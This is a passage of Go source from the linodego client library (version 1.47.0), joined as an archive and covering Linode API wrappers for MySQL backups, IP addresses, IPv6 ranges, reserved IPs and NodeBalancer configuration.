doGETRequest[MySQLDatabaseBackup](ctx, c, e) if err != nil { return nil, err } return response, nil } // RestoreMySQLDatabaseBackup returns the given MySQL Database with the given Backup // Deprecated: RestoreMySQLDatabaseBackup is a deprecated method, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. func (c *Client) RestoreMySQLDatabaseBackup(ctx context.Context, databaseID int, backupID int) error { e := formatAPIPath("databases/mysql/instances/%d/backups/%d/restore", databaseID, backupID) _, err := doPOSTRequest[MySQLDatabaseBackup, any](ctx, c, e) return err } // CreateMySQLDatabaseBackup creates a snapshot for the given MySQL database // Deprecated: CreateMySQLDatabaseBackup is a deprecated method, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. func (c *Client) CreateMySQLDatabaseBackup(ctx context.Context, databaseID int, opts MySQLBackupCreateOptions) error { e := formatAPIPath("databases/mysql/instances/%d/backups", databaseID) _, err := doPOSTRequest[MySQLDatabaseBackup](ctx, c, e, opts) return err } // PatchMySQLDatabase applies security patches and updates to the underlying operating system of the Managed MySQL Database func (c *Client) PatchMySQLDatabase(ctx context.Context, databaseID int) error { e := formatAPIPath("databases/mysql/instances/%d/patch", databaseID) _, err := doPOSTRequest[MySQLDatabase, any](ctx, c, e) return err } golang-github-linode-linodego-1.47.0/network_ips.go000066400000000000000000000113601474652371000223050ustar00rootroot00000000000000package linodego import ( "context" ) // IPAddressUpdateOptionsV2 fields are those accepted by UpdateIPAddress. // NOTE: An IP's RDNS can be reset to default using the following pattern: // // IPAddressUpdateOptionsV2{ // RDNS: linodego.Pointer[*string](nil), // } type IPAddressUpdateOptionsV2 struct { // The reverse DNS assigned to this address. For public IPv4 addresses, this will be set to a default value provided by Linode if set to nil. Reserved *bool `json:"reserved,omitempty"` RDNS **string `json:"rdns,omitempty"` } // IPAddressUpdateOptions fields are those accepted by UpdateIPAddress. // Deprecated: Please use IPAddressUpdateOptionsV2 for all new implementations. type IPAddressUpdateOptions struct { RDNS *string `json:"rdns"` } // LinodeIPAssignment stores an assignment between an IP address and a Linode instance. type LinodeIPAssignment struct { Address string `json:"address"` LinodeID int `json:"linode_id"` } type AllocateReserveIPOptions struct { Type string `json:"type"` Public bool `json:"public"` Reserved bool `json:"reserved,omitempty"` Region string `json:"region,omitempty"` LinodeID int `json:"linode_id,omitempty"` } // LinodesAssignIPsOptions fields are those accepted by InstancesAssignIPs. type LinodesAssignIPsOptions struct { Region string `json:"region"` Assignments []LinodeIPAssignment `json:"assignments"` } // IPAddressesShareOptions fields are those accepted by ShareIPAddresses. type IPAddressesShareOptions struct { IPs []string `json:"ips"` LinodeID int `json:"linode_id"` } // ListIPAddressesQuery fields are those accepted as query params for the // ListIPAddresses function. type ListIPAddressesQuery struct { SkipIPv6RDNS bool `query:"skip_ipv6_rdns"` } // GetUpdateOptionsV2 converts a IPAddress to IPAddressUpdateOptionsV2 for use in UpdateIPAddressV2. func (i InstanceIP) GetUpdateOptionsV2() IPAddressUpdateOptionsV2 { rdns := copyString(&i.RDNS) return IPAddressUpdateOptionsV2{ RDNS: &rdns, Reserved: copyBool(&i.Reserved), } } // GetUpdateOptions converts a IPAddress to IPAddressUpdateOptions for use in UpdateIPAddress. // Deprecated: Please use GetUpdateOptionsV2 for all new implementations. func (i InstanceIP) GetUpdateOptions() (o IPAddressUpdateOptions) { o.RDNS = copyString(&i.RDNS) return } // ListIPAddresses lists IPAddresses. func (c *Client) ListIPAddresses(ctx context.Context, opts *ListOptions) ([]InstanceIP, error) { response, err := getPaginatedResults[InstanceIP](ctx, c, "networking/ips", opts) if err != nil { return nil, err } return response, nil } // GetIPAddress gets the IPAddress with the provided IP. func (c *Client) GetIPAddress(ctx context.Context, id string) (*InstanceIP, error) { e := formatAPIPath("networking/ips/%s", id) response, err := doGETRequest[InstanceIP](ctx, c, e) if err != nil { return nil, err } return response, nil } // UpdateIPAddressV2 updates the IP address with the specified address. func (c *Client) UpdateIPAddressV2(ctx context.Context, address string, opts IPAddressUpdateOptionsV2) (*InstanceIP, error) { e := formatAPIPath("networking/ips/%s", address) response, err := doPUTRequest[InstanceIP](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateIPAddress updates the IP address with the specified id. // Deprecated: Please use UpdateIPAddressV2 for all new implementation. func (c *Client) UpdateIPAddress(ctx context.Context, id string, opts IPAddressUpdateOptions) (*InstanceIP, error) { e := formatAPIPath("networking/ips/%s", id) response, err := doPUTRequest[InstanceIP](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // InstancesAssignIPs assigns multiple IPv4 addresses and/or IPv6 ranges to multiple Linodes in one Region. // This allows swapping, shuffling, or otherwise reorganizing IPs to your Linodes. func (c *Client) InstancesAssignIPs(ctx context.Context, opts LinodesAssignIPsOptions) error { e := "networking/ips/assign" _, err := doPOSTRequest[InstanceIP](ctx, c, e, opts) return err } // ShareIPAddresses allows IP address reassignment (also referred to as IP failover) // from one Linode to another if the primary Linode becomes unresponsive. func (c *Client) ShareIPAddresses(ctx context.Context, opts IPAddressesShareOptions) error { e := "networking/ips/share" _, err := doPOSTRequest[InstanceIP](ctx, c, e, opts) return err } // AllocateReserveIP allocates a new IPv4 address to the Account, with the option to reserve it // and optionally assign it to a Linode. func (c *Client) AllocateReserveIP(ctx context.Context, opts AllocateReserveIPOptions) (*InstanceIP, error) { e := "networking/ips" result, err := doPOSTRequest[InstanceIP](ctx, c, e, opts) if err != nil { return nil, err } return result, nil } golang-github-linode-linodego-1.47.0/network_pools.go000066400000000000000000000011611474652371000226440ustar00rootroot00000000000000package linodego import ( "context" ) // ListIPv6Pools lists IPv6Pools func (c *Client) ListIPv6Pools(ctx context.Context, opts *ListOptions) ([]IPv6Range, error) { response, err := getPaginatedResults[IPv6Range](ctx, c, "networking/ipv6/pools", opts) if err != nil { return nil, err } return response, nil } // GetIPv6Pool gets the template with the provided ID func (c *Client) GetIPv6Pool(ctx context.Context, id string) (*IPv6Range, error) { e := formatAPIPath("networking/ipv6/pools/%s", id) response, err := doGETRequest[IPv6Range](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/network_ranges.go000066400000000000000000000027371474652371000230010ustar00rootroot00000000000000package linodego import ( "context" ) // IPv6RangeCreateOptions fields are those accepted by CreateIPv6Range type IPv6RangeCreateOptions struct { LinodeID int `json:"linode_id,omitempty"` PrefixLength int `json:"prefix_length"` RouteTarget string `json:"route_target,omitempty"` } // ListIPv6Ranges lists IPv6Ranges func (c *Client) ListIPv6Ranges(ctx context.Context, opts *ListOptions) ([]IPv6Range, error) { response, err := getPaginatedResults[IPv6Range](ctx, c, "networking/ipv6/ranges", opts) if err != nil { return nil, err } return response, nil } // GetIPv6Range gets details about an IPv6 range func (c *Client) GetIPv6Range(ctx context.Context, ipRange string) (*IPv6Range, error) { e := formatAPIPath("networking/ipv6/ranges/%s", ipRange) response, err := doGETRequest[IPv6Range](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateIPv6Range creates an IPv6 Range and assigns it based on the provided Linode or route target IPv6 SLAAC address. func (c *Client) CreateIPv6Range(ctx context.Context, opts IPv6RangeCreateOptions) (*IPv6Range, error) { e := "networking/ipv6/ranges" response, err := doPOSTRequest[IPv6Range](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteIPv6Range deletes an IPv6 Range. func (c *Client) DeleteIPv6Range(ctx context.Context, ipRange string) error { e := formatAPIPath("networking/ipv6/ranges/%s", ipRange) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/network_reserved_ips.go000066400000000000000000000034111474652371000242020ustar00rootroot00000000000000package linodego import ( "context" ) // ReserveIPOptions represents the options for reserving an IP address // NOTE: Reserved IP feature may not currently be available to all users. type ReserveIPOptions struct { Region string `json:"region"` } // ListReservedIPAddresses retrieves a list of reserved IP addresses // NOTE: Reserved IP feature may not currently be available to all users. func (c *Client) ListReservedIPAddresses(ctx context.Context, opts *ListOptions) ([]InstanceIP, error) { e := formatAPIPath("networking/reserved/ips") response, err := getPaginatedResults[InstanceIP](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // GetReservedIPAddress retrieves details of a specific reserved IP address // NOTE: Reserved IP feature may not currently be available to all users. func (c *Client) GetReservedIPAddress(ctx context.Context, ipAddress string) (*InstanceIP, error) { e := formatAPIPath("networking/reserved/ips/%s", ipAddress) response, err := doGETRequest[InstanceIP](ctx, c, e) if err != nil { return nil, err } return response, nil } // ReserveIPAddress reserves a new IP address // NOTE: Reserved IP feature may not currently be available to all users. func (c *Client) ReserveIPAddress(ctx context.Context, opts ReserveIPOptions) (*InstanceIP, error) { e := "networking/reserved/ips" response, err := doPOSTRequest[InstanceIP](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteReservedIPAddress deletes a reserved IP address // NOTE: Reserved IP feature may not currently be available to all users. func (c *Client) DeleteReservedIPAddress(ctx context.Context, ipAddress string) error { e := formatAPIPath("networking/reserved/ips/%s", ipAddress) return doDELETERequest(ctx, c, e) } golang-github-linode-linodego-1.47.0/network_transfer_prices.go000066400000000000000000000023131474652371000247010ustar00rootroot00000000000000package linodego import ( "context" ) // NetworkTransferPrice represents a single valid network transfer price. type NetworkTransferPrice struct { baseType[NetworkTransferTypePrice, NetworkTransferTypeRegionPrice] } // NetworkTransferTypePrice represents the base hourly and monthly prices // for a network transfer price entry. type NetworkTransferTypePrice struct { baseTypePrice } // NetworkTransferTypeRegionPrice represents the regional hourly and monthly prices // for a network transfer price entry. type NetworkTransferTypeRegionPrice struct { baseTypeRegionPrice } // ListNetworkTransferPrices lists network transfer prices. This endpoint is cached by default. func (c *Client) ListNetworkTransferPrices(ctx context.Context, opts *ListOptions) ([]NetworkTransferPrice, error) { e := "network-transfer/prices" endpoint, err := generateListCacheURL(e, opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]NetworkTransferPrice), nil } response, err := getPaginatedResults[NetworkTransferPrice](ctx, c, e, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response, &cacheExpiryTime) return response, nil } golang-github-linode-linodego-1.47.0/nodebalancer.go000066400000000000000000000122451474652371000223610ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // NodeBalancer represents a NodeBalancer object type NodeBalancer struct { // This NodeBalancer's unique ID. ID int `json:"id"` // This NodeBalancer's label. These must be unique on your Account. Label *string `json:"label"` // The Region where this NodeBalancer is located. NodeBalancers only support backends in the same Region. Region string `json:"region"` // This NodeBalancer's hostname, ending with .nodebalancer.linode.com Hostname *string `json:"hostname"` // This NodeBalancer's public IPv4 address. IPv4 *string `json:"ipv4"` // This NodeBalancer's public IPv6 address. IPv6 *string `json:"ipv6"` // Throttle connections per second (0-20). Set to 0 (zero) to disable throttling. ClientConnThrottle int `json:"client_conn_throttle"` // Information about the amount of transfer this NodeBalancer has had so far this month. Transfer NodeBalancerTransfer `json:"transfer"` // An array of tags applied to this object. Tags are for organizational purposes only. Tags []string `json:"tags"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // NodeBalancerTransfer contains information about the amount of transfer a NodeBalancer has had in the current month type NodeBalancerTransfer struct { // The total transfer, in MB, used by this NodeBalancer this month. Total *float64 `json:"total"` // The total inbound transfer, in MB, used for this NodeBalancer this month. Out *float64 `json:"out"` // The total outbound transfer, in MB, used for this NodeBalancer this month. In *float64 `json:"in"` } // NodeBalancerCreateOptions are the options permitted for CreateNodeBalancer type NodeBalancerCreateOptions struct { Label *string `json:"label,omitempty"` Region string `json:"region,omitempty"` ClientConnThrottle *int `json:"client_conn_throttle,omitempty"` Configs []*NodeBalancerConfigCreateOptions `json:"configs,omitempty"` Tags []string `json:"tags"` FirewallID int `json:"firewall_id,omitempty"` } // NodeBalancerUpdateOptions are the options permitted for UpdateNodeBalancer type NodeBalancerUpdateOptions struct { Label *string `json:"label,omitempty"` ClientConnThrottle *int `json:"client_conn_throttle,omitempty"` Tags *[]string `json:"tags,omitempty"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *NodeBalancer) UnmarshalJSON(b []byte) error { type Mask NodeBalancer p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetCreateOptions converts a NodeBalancer to NodeBalancerCreateOptions for use in CreateNodeBalancer func (i NodeBalancer) GetCreateOptions() NodeBalancerCreateOptions { return NodeBalancerCreateOptions{ Label: i.Label, Region: i.Region, ClientConnThrottle: &i.ClientConnThrottle, Tags: i.Tags, } } // GetUpdateOptions converts a NodeBalancer to NodeBalancerUpdateOptions for use in UpdateNodeBalancer func (i NodeBalancer) GetUpdateOptions() NodeBalancerUpdateOptions { return NodeBalancerUpdateOptions{ Label: i.Label, ClientConnThrottle: &i.ClientConnThrottle, Tags: &i.Tags, } } // ListNodeBalancers lists NodeBalancers func (c *Client) ListNodeBalancers(ctx context.Context, opts *ListOptions) ([]NodeBalancer, error) { response, err := getPaginatedResults[NodeBalancer](ctx, c, "nodebalancers", opts) if err != nil { return nil, err } return response, nil } // GetNodeBalancer gets the NodeBalancer with the provided ID func (c *Client) GetNodeBalancer(ctx context.Context, nodebalancerID int) (*NodeBalancer, error) { e := formatAPIPath("nodebalancers/%d", nodebalancerID) response, err := doGETRequest[NodeBalancer](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateNodeBalancer creates a NodeBalancer func (c *Client) CreateNodeBalancer(ctx context.Context, opts NodeBalancerCreateOptions) (*NodeBalancer, error) { e := "nodebalancers" response, err := doPOSTRequest[NodeBalancer](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateNodeBalancer updates the NodeBalancer with the specified id func (c *Client) UpdateNodeBalancer(ctx context.Context, nodebalancerID int, opts NodeBalancerUpdateOptions) (*NodeBalancer, error) { e := formatAPIPath("nodebalancers/%d", nodebalancerID) response, err := doPUTRequest[NodeBalancer](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteNodeBalancer deletes the NodeBalancer with the specified id func (c *Client) DeleteNodeBalancer(ctx context.Context, nodebalancerID int) error { e := formatAPIPath("nodebalancers/%d", nodebalancerID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/nodebalancer_config_nodes.go000066400000000000000000000106021474652371000250710ustar00rootroot00000000000000package linodego import ( "context" ) // NodeBalancerNode objects represent a backend that can accept traffic for a NodeBalancer Config type NodeBalancerNode struct { ID int `json:"id"` Address string `json:"address"` Label string `json:"label"` Status string `json:"status"` Weight int `json:"weight"` Mode NodeMode `json:"mode"` ConfigID int `json:"config_id"` NodeBalancerID int `json:"nodebalancer_id"` } // NodeMode is the mode a NodeBalancer should use when sending traffic to a NodeBalancer Node type NodeMode string var ( // ModeAccept is the NodeMode indicating a NodeBalancer Node is accepting traffic ModeAccept NodeMode = "accept" // ModeReject is the NodeMode indicating a NodeBalancer Node is not receiving traffic ModeReject NodeMode = "reject" // ModeDrain is the NodeMode indicating a NodeBalancer Node is not receiving new traffic, but may continue receiving traffic from pinned connections ModeDrain NodeMode = "drain" // ModeBackup is the NodeMode indicating a NodeBalancer Node will only receive traffic if all "accept" Nodes are down ModeBackup NodeMode = "backup" ) // NodeBalancerNodeCreateOptions fields are those accepted by CreateNodeBalancerNode type NodeBalancerNodeCreateOptions struct { Address string `json:"address"` Label string `json:"label"` Weight int `json:"weight,omitempty"` Mode NodeMode `json:"mode,omitempty"` } // NodeBalancerNodeUpdateOptions fields are those accepted by UpdateNodeBalancerNode type NodeBalancerNodeUpdateOptions struct { Address string `json:"address,omitempty"` Label string `json:"label,omitempty"` Weight int `json:"weight,omitempty"` Mode NodeMode `json:"mode,omitempty"` } // GetCreateOptions converts a NodeBalancerNode to NodeBalancerNodeCreateOptions for use in CreateNodeBalancerNode func (i NodeBalancerNode) GetCreateOptions() NodeBalancerNodeCreateOptions { return NodeBalancerNodeCreateOptions{ Address: i.Address, Label: i.Label, Weight: i.Weight, Mode: i.Mode, } } // GetUpdateOptions converts a NodeBalancerNode to NodeBalancerNodeUpdateOptions for use in UpdateNodeBalancerNode func (i NodeBalancerNode) GetUpdateOptions() NodeBalancerNodeUpdateOptions { return NodeBalancerNodeUpdateOptions{ Address: i.Address, Label: i.Label, Weight: i.Weight, Mode: i.Mode, } } // ListNodeBalancerNodes lists NodeBalancerNodes func (c *Client) ListNodeBalancerNodes(ctx context.Context, nodebalancerID int, configID int, opts *ListOptions) ([]NodeBalancerNode, error) { response, err := getPaginatedResults[NodeBalancerNode](ctx, c, formatAPIPath("nodebalancers/%d/configs/%d/nodes", nodebalancerID, configID), opts) if err != nil { return nil, err } return response, nil } // GetNodeBalancerNode gets the template with the provided ID func (c *Client) GetNodeBalancerNode(ctx context.Context, nodebalancerID int, configID int, nodeID int) (*NodeBalancerNode, error) { e := formatAPIPath("nodebalancers/%d/configs/%d/nodes/%d", nodebalancerID, configID, nodeID) response, err := doGETRequest[NodeBalancerNode](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateNodeBalancerNode creates a NodeBalancerNode func (c *Client) CreateNodeBalancerNode(ctx context.Context, nodebalancerID int, configID int, opts NodeBalancerNodeCreateOptions) (*NodeBalancerNode, error) { e := formatAPIPath("nodebalancers/%d/configs/%d/nodes", nodebalancerID, configID) response, err := doPOSTRequest[NodeBalancerNode](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateNodeBalancerNode updates the NodeBalancerNode with the specified id func (c *Client) UpdateNodeBalancerNode(ctx context.Context, nodebalancerID int, configID int, nodeID int, opts NodeBalancerNodeUpdateOptions) (*NodeBalancerNode, error) { e := formatAPIPath("nodebalancers/%d/configs/%d/nodes/%d", nodebalancerID, configID, nodeID) response, err := doPUTRequest[NodeBalancerNode](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteNodeBalancerNode deletes the NodeBalancerNode with the specified id func (c *Client) DeleteNodeBalancerNode(ctx context.Context, nodebalancerID int, configID int, nodeID int) error { e := formatAPIPath("nodebalancers/%d/configs/%d/nodes/%d", nodebalancerID, configID, nodeID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/nodebalancer_configs.go000066400000000000000000000264221474652371000240730ustar00rootroot00000000000000package linodego import ( "context" ) // NodeBalancerConfig objects allow a NodeBalancer to accept traffic on a new port type NodeBalancerConfig struct { ID int `json:"id"` Port int `json:"port"` Protocol ConfigProtocol `json:"protocol"` ProxyProtocol ConfigProxyProtocol `json:"proxy_protocol"` Algorithm ConfigAlgorithm `json:"algorithm"` Stickiness ConfigStickiness `json:"stickiness"` Check ConfigCheck `json:"check"` CheckInterval int `json:"check_interval"` CheckAttempts int `json:"check_attempts"` CheckPath string `json:"check_path"` CheckBody string `json:"check_body"` CheckPassive bool `json:"check_passive"` CheckTimeout int `json:"check_timeout"` CipherSuite ConfigCipher `json:"cipher_suite"` NodeBalancerID int `json:"nodebalancer_id"` SSLCommonName string `json:"ssl_commonname"` SSLFingerprint string `json:"ssl_fingerprint"` SSLCert string `json:"ssl_cert"` SSLKey string `json:"ssl_key"` NodesStatus *NodeBalancerNodeStatus `json:"nodes_status"` } // ConfigAlgorithm constants start with Algorithm and include Linode API NodeBalancer Config Algorithms type ConfigAlgorithm string // ConfigAlgorithm constants reflect the NodeBalancer Config Algorithm const ( AlgorithmRoundRobin ConfigAlgorithm = "roundrobin" AlgorithmLeastConn ConfigAlgorithm = "leastconn" AlgorithmSource ConfigAlgorithm = "source" ) // ConfigStickiness constants start with Stickiness and include Linode API NodeBalancer Config Stickiness type ConfigStickiness string // ConfigStickiness constants reflect the node stickiness method for a NodeBalancer Config const ( StickinessNone ConfigStickiness = "none" StickinessTable ConfigStickiness = "table" StickinessHTTPCookie ConfigStickiness = "http_cookie" ) // ConfigCheck constants start with Check and include Linode API NodeBalancer Config Check methods type ConfigCheck string // ConfigCheck constants reflect the node health status checking method for a NodeBalancer Config const ( CheckNone ConfigCheck = "none" CheckConnection ConfigCheck = "connection" CheckHTTP ConfigCheck = "http" CheckHTTPBody ConfigCheck = "http_body" ) // ConfigProtocol constants start with Protocol and include Linode API Nodebalancer Config protocols type ConfigProtocol string // ConfigProtocol constants reflect the protocol used by a NodeBalancer Config const ( ProtocolHTTP ConfigProtocol = "http" ProtocolHTTPS ConfigProtocol = "https" ProtocolTCP ConfigProtocol = "tcp" ) // ConfigProxyProtocol constants start with ProxyProtocol and include Linode API NodeBalancer Config proxy protocol versions type ConfigProxyProtocol string // ConfigProxyProtocol constatns reflect the proxy protocol version used by a NodeBalancer Config const ( ProxyProtocolNone ConfigProxyProtocol = "none" ProxyProtocolV1 ConfigProxyProtocol = "v1" ProxyProtocolV2 ConfigProxyProtocol = "v2" ) // ConfigCipher constants start with Cipher and include Linode API NodeBalancer Config Cipher values type ConfigCipher string // ConfigCipher constants reflect the preferred cipher set for a NodeBalancer Config const ( CipherRecommended ConfigCipher = "recommended" CipherLegacy ConfigCipher = "legacy" ) // NodeBalancerNodeStatus represents the total number of nodes whose status is Up or Down type NodeBalancerNodeStatus struct { Up int `json:"up"` Down int `json:"down"` } // NodeBalancerConfigCreateOptions are permitted by CreateNodeBalancerConfig type NodeBalancerConfigCreateOptions struct { Port int `json:"port"` Protocol ConfigProtocol `json:"protocol,omitempty"` ProxyProtocol ConfigProxyProtocol `json:"proxy_protocol,omitempty"` Algorithm ConfigAlgorithm `json:"algorithm,omitempty"` Stickiness ConfigStickiness `json:"stickiness,omitempty"` Check ConfigCheck `json:"check,omitempty"` CheckInterval int `json:"check_interval,omitempty"` CheckAttempts int `json:"check_attempts,omitempty"` CheckPath string `json:"check_path,omitempty"` CheckBody string `json:"check_body,omitempty"` CheckPassive *bool `json:"check_passive,omitempty"` CheckTimeout int `json:"check_timeout,omitempty"` CipherSuite ConfigCipher `json:"cipher_suite,omitempty"` SSLCert string `json:"ssl_cert,omitempty"` SSLKey string `json:"ssl_key,omitempty"` Nodes []NodeBalancerNodeCreateOptions `json:"nodes,omitempty"` } // NodeBalancerConfigRebuildOptions used by RebuildNodeBalancerConfig type NodeBalancerConfigRebuildOptions struct { Port int `json:"port"` Protocol ConfigProtocol `json:"protocol,omitempty"` ProxyProtocol ConfigProxyProtocol `json:"proxy_protocol,omitempty"` Algorithm ConfigAlgorithm `json:"algorithm,omitempty"` Stickiness ConfigStickiness `json:"stickiness,omitempty"` Check ConfigCheck `json:"check,omitempty"` CheckInterval int `json:"check_interval,omitempty"` CheckAttempts int `json:"check_attempts,omitempty"` CheckPath string `json:"check_path,omitempty"` CheckBody string `json:"check_body,omitempty"` CheckPassive *bool `json:"check_passive,omitempty"` CheckTimeout int `json:"check_timeout,omitempty"` CipherSuite ConfigCipher `json:"cipher_suite,omitempty"` SSLCert string `json:"ssl_cert,omitempty"` SSLKey string `json:"ssl_key,omitempty"` Nodes []NodeBalancerConfigRebuildNodeOptions `json:"nodes"` } // NodeBalancerConfigRebuildNodeOptions represents a node defined when rebuilding a // NodeBalancer config. type NodeBalancerConfigRebuildNodeOptions struct { NodeBalancerNodeCreateOptions ID int `json:"id,omitempty"` } // NodeBalancerConfigUpdateOptions are permitted by UpdateNodeBalancerConfig type NodeBalancerConfigUpdateOptions NodeBalancerConfigCreateOptions // GetCreateOptions converts a NodeBalancerConfig to NodeBalancerConfigCreateOptions for use in CreateNodeBalancerConfig func (i NodeBalancerConfig) GetCreateOptions() NodeBalancerConfigCreateOptions { return NodeBalancerConfigCreateOptions{ Port: i.Port, Protocol: i.Protocol, ProxyProtocol: i.ProxyProtocol, Algorithm: i.Algorithm, Stickiness: i.Stickiness, Check: i.Check, CheckInterval: i.CheckInterval, CheckAttempts: i.CheckAttempts, CheckTimeout: i.CheckTimeout, CheckPath: i.CheckPath, CheckBody: i.CheckBody, CheckPassive: copyBool(&i.CheckPassive), CipherSuite: i.CipherSuite, SSLCert: i.SSLCert, SSLKey: i.SSLKey, } } // GetUpdateOptions converts a NodeBalancerConfig to NodeBalancerConfigUpdateOptions for use in UpdateNodeBalancerConfig func (i NodeBalancerConfig) GetUpdateOptions() NodeBalancerConfigUpdateOptions { return NodeBalancerConfigUpdateOptions{ Port: i.Port, Protocol: i.Protocol, ProxyProtocol: i.ProxyProtocol, Algorithm: i.Algorithm, Stickiness: i.Stickiness, Check: i.Check, CheckInterval: i.CheckInterval, CheckAttempts: i.CheckAttempts, CheckPath: i.CheckPath, CheckBody: i.CheckBody, CheckPassive: copyBool(&i.CheckPassive), CheckTimeout: i.CheckTimeout, CipherSuite: i.CipherSuite, SSLCert: i.SSLCert, SSLKey: i.SSLKey, } } // GetRebuildOptions converts a NodeBalancerConfig to NodeBalancerConfigRebuildOptions for use in RebuildNodeBalancerConfig func (i NodeBalancerConfig) GetRebuildOptions() NodeBalancerConfigRebuildOptions { return NodeBalancerConfigRebuildOptions{ Port: i.Port, Protocol: i.Protocol, ProxyProtocol: i.ProxyProtocol, Algorithm: i.Algorithm, Stickiness: i.Stickiness, Check: i.Check, CheckInterval: i.CheckInterval, CheckAttempts: i.CheckAttempts, CheckTimeout: i.CheckTimeout, CheckPath: i.CheckPath, CheckBody: i.CheckBody, CheckPassive: copyBool(&i.CheckPassive), CipherSuite: i.CipherSuite, SSLCert: i.SSLCert, SSLKey: i.SSLKey, Nodes: make([]NodeBalancerConfigRebuildNodeOptions, 0), } } // ListNodeBalancerConfigs lists NodeBalancerConfigs func (c *Client) ListNodeBalancerConfigs(ctx context.Context, nodebalancerID int, opts *ListOptions) ([]NodeBalancerConfig, error) { response, err := getPaginatedResults[NodeBalancerConfig](ctx, c, formatAPIPath("nodebalancers/%d/configs", nodebalancerID), opts) if err != nil { return nil, err } return response, nil } // GetNodeBalancerConfig gets the template with the provided ID func (c *Client) GetNodeBalancerConfig(ctx context.Context, nodebalancerID int, configID int) (*NodeBalancerConfig, error) { e := formatAPIPath("nodebalancers/%d/configs/%d", nodebalancerID, configID) response, err := doGETRequest[NodeBalancerConfig](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateNodeBalancerConfig creates a NodeBalancerConfig func (c *Client) CreateNodeBalancerConfig(ctx context.Context, nodebalancerID int, opts NodeBalancerConfigCreateOptions) (*NodeBalancerConfig, error) { e := formatAPIPath("nodebalancers/%d/configs", nodebalancerID) response, err := doPOSTRequest[NodeBalancerConfig](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateNodeBalancerConfig updates the NodeBalancerConfig with the specified id func (c *Client) UpdateNodeBalancerConfig(ctx context.Context, nodebalancerID int, configID int, opts NodeBalancerConfigUpdateOptions) (*NodeBalancerConfig, error) { e := formatAPIPath("nodebalancers/%d/configs/%d", nodebalancerID, configID) response, err := doPUTRequest[NodeBalancerConfig](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteNodeBalancerConfig deletes the NodeBalancerConfig with the specified id func (c *Client) DeleteNodeBalancerConfig(ctx context.Context, nodebalancerID int, configID int) error { e := formatAPIPath("nodebalancers/%d/configs/%d", nodebalancerID, configID) err := doDELETERequest(ctx, c, e) return err } // RebuildNodeBalancerConfig updates the NodeBalancer with the specified id func (c *Client) RebuildNodeBalancerConfig(ctx context.Context, nodeBalancerID int, configID int, opts NodeBalancerConfigRebuildOptions) (*NodeBalancerConfig, error) { e := formatAPIPath("nodebalancers/%d/configs/%d/rebuild", nodeBalancerID, configID) response, err := doPOSTRequest[NodeBalancerConfig](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/nodebalancer_firewalls.go000066400000000000000000000006741474652371000244340ustar00rootroot00000000000000package linodego import ( "context" ) // ListNodeBalancerFirewalls returns a paginated list of Cloud Firewalls for nodebalancerID func (c *Client) ListNodeBalancerFirewalls(ctx context.Context, nodebalancerID int, opts *ListOptions) ([]Firewall, error) { response, err := getPaginatedResults[Firewall](ctx, c, formatAPIPath("nodebalancers/%d/firewalls", nodebalancerID), opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/nodebalancer_stats.go000066400000000000000000000016261474652371000236000ustar00rootroot00000000000000package linodego import ( "context" ) // NodeBalancerStats represents a nodebalancer stats object type NodeBalancerStats struct { Title string `json:"title"` Data NodeBalancerStatsData `json:"data"` } // NodeBalancerStatsData represents a nodebalancer stats data object type NodeBalancerStatsData struct { Connections [][]float64 `json:"connections"` Traffic StatsTraffic `json:"traffic"` } // StatsTraffic represents a Traffic stats object type StatsTraffic struct { In [][]float64 `json:"in"` Out [][]float64 `json:"out"` } // GetNodeBalancerStats gets the template with the provided ID func (c *Client) GetNodeBalancerStats(ctx context.Context, nodebalancerID int) (*NodeBalancerStats, error) { e := formatAPIPath("nodebalancers/%d/stats", nodebalancerID) response, err := doGETRequest[NodeBalancerStats](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/nodebalancer_types.go000066400000000000000000000022051474652371000236000ustar00rootroot00000000000000package linodego import ( "context" ) // NodeBalancerType represents a single valid NodeBalancer type. type NodeBalancerType struct { baseType[NodeBalancerTypePrice, NodeBalancerTypeRegionPrice] } // NodeBalancerTypePrice represents the base hourly and monthly prices // for a NodeBalancer type entry. type NodeBalancerTypePrice struct { baseTypePrice } // NodeBalancerTypeRegionPrice represents the regional hourly and monthly prices // for a NodeBalancer type entry. type NodeBalancerTypeRegionPrice struct { baseTypeRegionPrice } // ListNodeBalancerTypes lists NodeBalancer types. This endpoint is cached by default. func (c *Client) ListNodeBalancerTypes(ctx context.Context, opts *ListOptions) ([]NodeBalancerType, error) { e := "nodebalancers/types" endpoint, err := 